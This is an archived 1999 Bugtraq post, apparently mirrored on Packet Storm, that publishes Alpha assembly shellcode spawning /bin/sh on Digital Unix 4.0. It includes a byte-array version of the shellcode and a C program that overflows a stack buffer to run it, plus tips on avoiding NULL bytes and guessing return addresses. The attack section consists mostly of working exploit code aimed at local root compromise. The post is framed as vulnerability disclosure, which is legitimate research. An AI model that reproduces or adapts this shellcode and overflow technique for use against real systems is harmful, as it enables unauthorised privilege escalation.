ignore security and it'll go away

digital-unix4.0-asm-shell.txt

digital-unix4.0-asm-shell.txt
Posted Aug 17, 1999
Authored by Seth McGann

ASM shellcode exploit, with good explanation, for Digital Unix 4.0 buffer overflow, resulting in local root compromise.

tags | exploit, overflow, local, root, shellcode
systems | unix
MD5 | 1f3033454771352110ac2627efd661d2

digital-unix4.0-asm-shell.txt

Change Mirror Download
Date: Tue, 26 Jan 1999 15:18:08 -0500
From: Seth Michael McGann <smm@WPI.EDU>
To: BUGTRAQ@netspace.org
Subject: Re: Digital Unix 4.0 exploitable buffer overflows

On Mon, 25 Jan 1999, Lamont Granquist wrote:

> Previously Digital Unix has been relatively immune to buffer overflow
> attacks due to the lack of an executable stack in the 3.x versions. For
> the 4.0 versions the stack was made executable -- likely for JIT compilers
> and maybe programs that need GCC-like trampolines. This, of course,
> greatly simplifies the coding of exploits.

You would not believe how surprised I was to see this in my mailbox today.
I had been working on Dec Unix shellcode and sort of abandoned the project
after making a test exploit using an executable heap buffer. Never
believe anyone, always test it yourself. Oh well. Here is what I had
come up with, it includes an asm of the shellcode as well as a demo
exploit. You will notice the large amount of zeros, in fact the PAL code
for a syscall is 0x00000083. So, we are not going to easily sidestep the
problem of NULL removal as we can on x86. My suggestion, is to use a
technique used in several IMAP exploits, where the shellcode is encoded
and then decoded. At any rate, this should get you started. And allow
you to see for your self what needs to be done.

Shellcode in asm:


.globl main
.ent main
main:
jmp egg # find out where we are
backhere:
mov $26,$30
mov $26 , $16
mov $26, $1 # make a copy of ra
addq $1, 0x08, $1 # offset 8
mov $1 , $17 # points at argv
addq $1, 0x04, $1 # offset 8
stq $26, 8($30)
stq $31, 16($30)
mov 0x0, $18 # move in the syscall number (execve in this case)
addq $31,0x3b,$0 #
.quad 0x00000083 # do the deed

egg:
bsr backhere
.ascii "/bin/sh\0"
.quad 0 # pointer to /bin/sh (argv[0])
.quad 0 # pointer to NULL
.quad 0 # this is unnecessary, but i left it in for debug
.quad 0
.end

Simple, eh? You'll notice all the common techniques used in this egg.
This would be suitable for a bcopy overflow (iquery, bootpd...) just add
the dup's and your set. When you compile this with as you will nedd to
strip off the headers and insert into the stack for it to work, lest it
crash due to modifiying the text segment. Here is an example loaded with
the shellcode.

Test program:

char sc[]= { 0x0c, 0x00, 0xe0, 0xd3,0x01, 0x04, 0x5a, 0x47,
0x1e, 0x04, 0x5a, 0x47,0x01, 0x14, 0x21, 0x40,
0x11, 0x04, 0x21, 0x44,0x10, 0x04, 0x5a, 0x47,
0x08, 0x00, 0x5e, 0xB7,0x01, 0x94, 0x20, 0x40,
0x10, 0x00, 0xfe, 0xb7,0x00, 0x74, 0xe7, 0x43,
0x12, 0x04, 0xff, 0x47,0x83, 0x00, 0x00, 0x00,
0x1f, 0x04, 0xff, 0x47,0xF3, 0xFf, 0x5F, 0xD3,
'/', 'b','i','n','/','s','h',0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00};

main(int argc,char **argv) {
leaf();
}

leaf(){
char blow[512];
int i;
unsigned long addr;

addr=(unsigned long)blow;

for(i=0;i<1024;i+=8) {
blow[i]=addr & 0xFF;
blow[i+1]=(addr >> 8) & 0xFF;
blow[i+2]=(addr >> 16) & 0xFF;
blow[i+3]=(addr >> 24) & 0xFF;
blow[i+4]=(addr >> 32) & 0xFF;
blow[i+5]=(addr >> 40) & 0xFF;
blow[i+6]=(addr >> 48) & 0xFF;
blow[i+7]=(addr >> 56) & 0xFF;
}
bcopy(sc,blow,sizeof(sc));
}

Simply compile and run, and you will receive a shell. On Alphas you will
need to return from the parent of the overflowing function to get any
effect. In this case leaf() overflows and on exit from main() we get our
shell. On another note, if you have a standard string overflow you will
need to be wary of NULLs. This shellcode can easily be converted to have
no zero bytes using an encoding routine. A bigger problem is the return
address, which almost certainly will have nulls. Since this is a little
endian architecture we can fill in the least significant bits and be done
with it. A side effect is we have to guess the offset exactly, or no go.
Anyway, just thought I'd post this before its obsolete :) Maybe you will
get something out of it while waiting for better code.

Nice work Lamont.

If you are running Digital Unix, I would be real worried right about now :)

Seth McGann - smm@wpi.edu
el8.org -w00w00 - WSD

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

May 2012

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    37 Files
  • 2
    May 2nd
    53 Files
  • 3
    May 3rd
    33 Files
  • 4
    May 4th
    4 Files
  • 5
    May 5th
    10 Files
  • 6
    May 6th
    17 Files
  • 7
    May 7th
    19 Files
  • 8
    May 8th
    36 Files
  • 9
    May 9th
    34 Files
  • 10
    May 10th
    35 Files
  • 11
    May 11th
    20 Files
  • 12
    May 12th
    18 Files
  • 13
    May 13th
    11 Files
  • 14
    May 14th
    27 Files
  • 15
    May 15th
    58 Files
  • 16
    May 16th
    54 Files
  • 17
    May 17th
    25 Files
  • 18
    May 18th
    53 Files
  • 19
    May 19th
    9 Files
  • 20
    May 20th
    15 Files
  • 21
    May 21st
    25 Files
  • 22
    May 22nd
    32 Files
  • 23
    May 23rd
    35 Files
  • 24
    May 24th
    26 Files
  • 25
    May 25th
    25 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2012 Packet Storm. All rights reserved.

close